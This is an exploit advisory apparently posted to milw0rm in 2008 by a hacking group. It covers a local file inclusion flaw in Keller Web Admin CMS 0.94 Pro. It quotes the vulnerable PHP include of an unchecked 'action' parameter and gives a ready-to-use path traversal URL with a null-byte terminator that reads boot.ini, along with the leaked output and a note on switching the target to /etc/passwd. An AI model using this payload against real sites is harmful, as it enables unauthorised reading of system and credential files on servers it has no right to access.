=========================================================== Keller Web Admin CMS Local File Inclusion Vulnerability =========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 26 June 2008 SITE : cwh.citec.us ##################################################### APPLICATION : Keller Web Admin CMS VERSION : 0.94 Pro VENDOR : N/A DOWNLOAD : http://downloads.sourceforge.net/kwa ##################################################### --- Local File Inclusion --- ------------------------------------- Vulnerable File [/Public/index.php] ------------------------------------- @Line 21: if (isset($_GET['action'])) { 22: $action=$_GET['action']; 23: $inclConfig = $includeFolder.$action.".inc.php"; 24: include($inclConfig); 25: header('Location: '.$clnt_referer); 26: die(); 27: } --------- Exploit --------- [+] http://[Target]/[kwa_path]/Public/index.php?action=[LFI] ------------- POC Exploit ------------- [+] http://192.168.24.25/kwa/Public/index.php?action=../../../../../../../../boot.ini%00 This exploit will open boot.ini in system file: [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1) \WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1) \WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect You can change boot.ini to /etc/passwd%00 in linux OS. ################################################################## # Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos # ################################################################## # milw0rm.com [2008-06-26]